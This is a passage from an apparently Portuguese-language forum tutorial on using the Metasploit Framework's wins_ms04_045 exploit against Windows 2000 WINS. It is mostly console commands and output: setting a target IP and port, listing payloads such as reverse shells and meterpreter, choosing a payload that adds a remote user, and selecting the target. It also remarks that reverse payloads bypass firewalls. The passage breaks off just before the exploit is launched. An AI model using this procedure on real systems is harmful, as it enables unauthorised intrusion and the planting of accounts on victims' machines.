aceita targets, payloads, options ou advanced.Vamos verificar quais opcoes que este exploit ja seleccionado aceita:Codigo :msf wins_ms04_045 > show optionsExploit Options===============Exploit: Name Default Description-------- ------ ------- ------------------required RHOST The target addressrequired RPORT 42 The target portTarget: Target Not Specifiedmsf wins_ms04_045 >Este exploit aceita somente duas opcoes : o ip alvo e a porta alvo. Agora deves estar a perguntar... como faco para utilizar isto. Simples, basta configurar o que o exploit aceita (ha diferencas entre exploits e cada vez mais, pois mais complexidade e vectores sao adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opcoes tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando...Facamos assim:Codigo :msf wins_ms04_045 > set RHOST 200.126.35.34RHOST -> 200.126.35.34msf wins_ms04_04>msf wins_ms04_045 > set RPORT 42RPORT -> 42msf wins_ms04_045 >Vejam que utilizei a mesma porta que o valor por default...Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais e que um software acoplado ao exploit para fazer as mais variadas tarefas.Digitamos entao o comando para saber os payloads suportados pelo nosso exploit: show payloadsCodigo :msf wins_ms04_045 > show payloadsMetasploit Framework Usable Payloads====================================win32_adduser Windows Execute net user /ADDwin32_bind Windows Bind Shellwin32_bind_dllinject Windows Bind DLL Injectwin32_bind_meterpreter Windows Bind Meterpreter DLL Injectwin32_bind_stg Windows Staged Bind Shellwin32_bind_stg_upexec Windows Staged Bind Upload/Executewin32_bind_vncinject Windows Bind VNC Server DLL Injectwin32_exec Windows Execute Commandwin32_passivex Windows PassiveX ActiveX Injection Payloadwin32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payloadwin32_passivex_stg Windows Staged PassiveX Shellwin32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payloadwin32_reverse Windows Reverse Shellwin32_reverse_dllinject Windows Reverse DLL Injectwin32_reverse_meterpreter Windows Reverse Meterpreter DLL Injectwin32_reverse_ord Windows Staged Reverse Ordinal Shellwin32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Injectwin32_reverse_stg Windows Staged Reverse Shellwin32_reverse_stg_upexec Windows Staged Reverse Upload/Executewin32_reverse_vncinject Windows Reverse VNC Server Injectmsf wins_ms04_045 >Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje ja ha payloads para tudo e todos os SO s... ate uma shell especial para cracking que e o meterpreter) O meterpreter e um complexo payload que e uma especia de shell especial para cracking, com funcionalidades especificas para isso. Algo que ja falei bastante tambem.Documento onde e detalhado tecnicamente o meterpreter:http://www.nologin.org/Downloads/Papers/meterpreter.pdfCaso queiram usar o meterpreter, na seleccao do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessao no alvo, com o meterpreter e como e reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede e confiavel.Assim:Codigo :msf wins_ms04_045 > set PAYLOAD win32_adduser joliePAYLOAD win32_adduser -> joliemsf wins_ms04_045>Vamos agora listar os sistemas operativos que serao os alvos: Utilizando o velho comando : show, so que agora assim: show targetsCodigo :msf wins_ms04_045 > show targetsSupported Exploit Targets=========================0 Windows 2000 Englishmsf wins_ms04_045 >So temos uma opcao aqui, somente o windows 2000 em ingles e vulneravel, mas tudo bem...msf wins_ms04_045 > set TARGET 0TARGET -> 0msf wins_ms04_045 >tamos mesmo, mesmo, mesmo a um tirinho de cacadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que e mais um pacote exploit (conjunto de varias coisas que antigamente